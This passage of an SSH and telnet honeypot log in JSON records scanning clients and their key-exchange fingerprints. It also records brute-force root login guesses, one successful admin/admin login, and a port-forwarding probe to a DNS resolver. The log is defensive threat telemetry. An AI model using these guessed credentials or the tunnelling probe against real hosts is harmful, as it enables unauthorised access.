m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:42.821796Z","src_ip":"103.82.132.16","session":"85288c70369f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20101993","message":"login attempt [root/20101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:43.611292Z","src_ip":"103.82.132.16","session":"85288c70369f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:44.876935Z","src_ip":"103.82.132.16","session":"85288c70369f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53932,"dst_ip":"10.17.0.5","dst_port":22,"session":"f22167d5207a","protocol":"ssh","message":"New connection: 80.94.92.184:53932 (10.17.0.5:22) [session: f22167d5207a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:46.073698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:46.168979Z","src_ip":"80.94.92.184","session":"f22167d5207a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:46.295066Z","src_ip":"80.94.92.184","session":"f22167d5207a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:48.409239Z","src_ip":"80.94.92.184","session":"f22167d5207a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:49.638842Z","src_ip":"80.94.92.184","session":"f22167d5207a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"18fb9d0ac5ea","protocol":"ssh","message":"New connection: 103.82.20.28:53754 (10.17.0.5:22) [session: 18fb9d0ac5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:49.919279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:49.923341Z","src_ip":"103.82.20.28","session":"18fb9d0ac5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:50.186396Z","src_ip":"103.82.20.28","session":"18fb9d0ac5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:50.976743Z","src_ip":"103.82.20.28","session":"18fb9d0ac5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:02:52.242543Z","src_ip":"103.82.20.28","session":"18fb9d0ac5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59144,"dst_ip":"159.203.135.109","dst_port":23,"session":"13fbee80fc00","protocol":"telnet","message":"New connection: 172.81.62.90:59144 (159.203.135.109:23) [session: 13fbee80fc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:19.917274Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57708,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a313cafea68","protocol":"telnet","message":"New connection: 94.23.66.112:57708 (10.17.0.5:23) [session: 8a313cafea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:50.668339Z"}
{"eventid":"cowrie.session.closed","duration":34.574708223342896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:54.491835Z","src_ip":"172.81.62.90","session":"13fbee80fc00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42188,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3113e1fcd8b","protocol":"ssh","message":"New connection: 77.94.47.83:42188 (159.203.135.109:22) [session: a3113e1fcd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:54.953968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:54.958587Z","src_ip":"77.94.47.83","session":"a3113e1fcd8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:55.068942Z","src_ip":"77.94.47.83","session":"a3113e1fcd8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24081985","message":"login attempt [root/24081985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:55.401973Z","src_ip":"77.94.47.83","session":"a3113e1fcd8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:03:56.515144Z","src_ip":"77.94.47.83","session":"a3113e1fcd8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60160,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68416f55a09","protocol":"telnet","message":"New connection: 94.23.66.112:60160 (10.17.0.5:23) [session: a68416f55a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:02.449659Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8774,"dst_ip":"10.17.0.5","dst_port":22,"session":"4336a1a14b28","protocol":"ssh","message":"New connection: 87.251.64.176:8774 (10.17.0.5:22) [session: 4336a1a14b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:20.446890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:20.451225Z","src_ip":"87.251.64.176","session":"4336a1a14b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:20.544786Z","src_ip":"87.251.64.176","session":"4336a1a14b28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:20.829987Z","src_ip":"87.251.64.176","session":"4336a1a14b28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:20.925919Z","session":"4336a1a14b28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:21.021493Z","src_ip":"87.251.64.176","session":"4336a1a14b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:21.118175Z","src_ip":"87.251.64.176","session":"4336a1a14b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35774,"dst_ip":"10.17.0.5","dst_port":22,"session":"476721b92b24","protocol":"ssh","message":"New connection: 38.93.206.2:35774 (10.17.0.5:22) [session: 476721b92b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:28.891399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:28.895835Z","src_ip":"38.93.206.2","session":"476721b92b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:28.946521Z","src_ip":"38.93.206.2","session":"476721b92b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0908070605","message":"login attempt [root/0908070605] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:29.098065Z","src_ip":"38.93.206.2","session":"476721b92b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49332,"dst_ip":"159.203.135.109","dst_port":22,"session":"38532cfb8292","protocol":"ssh","message":"New connection: 103.122.221.179:49332 (159.203.135.109:22) [session: 38532cfb8292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:29.144917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:29.151380Z","src_ip":"103.122.221.179","session":"38532cfb8292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:29.394132Z","src_ip":"103.122.221.179","session":"38532cfb8292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.96.154","src_port":40262,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fefd9208301","protocol":"ssh","message":"New connection: 23.239.96.154:40262 (10.17.0.5:22) [session: 3fefd9208301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:29.991614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:29.995890Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.055767Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110291","message":"login attempt [root/110291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.125173Z","src_ip":"103.122.221.179","session":"38532cfb8292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.150809Z","src_ip":"38.93.206.2","session":"476721b92b24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:2b:36:d5:e5:11:4d:04:b4:88:39:4b:21:f6:12:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCi1hgAQapgKHOggBHdBcHEwi88u/598Ejl9XItNhr0USzVKDzmuhCypYrsSqj8TOafVaj6MbyuIsDei+JCTR+by5K7suFQVNPftqpPy8Xexy0pFfKDhKccZ5TmrVg4a4srZP3zHet1MdTLDoL8LKQzP2jb6kgtOdS+3r8sYFQqgKYKXI4TegdwdzzPhc40ca4POcidp5r5zOoagJpMywmFgydO+cSRxEG9Ga0nZsLTb2csNcCNO2nLMgIfTB5UvupXmYiKH1VFFeAP/KG1M5x0lhvqE4wYrctOfbWMCKkQZoK2vivYJB36EUz6l+pZzlFPFtIQuvXksdFnH1AOS/j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:2b:36:d5:e5:11:4d:04:b4:88:39:4b:21:f6:12:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:04:30.331307Z","src_ip":"23.239.96.154","session":"3fefd9208301","protocol":"ssh"}
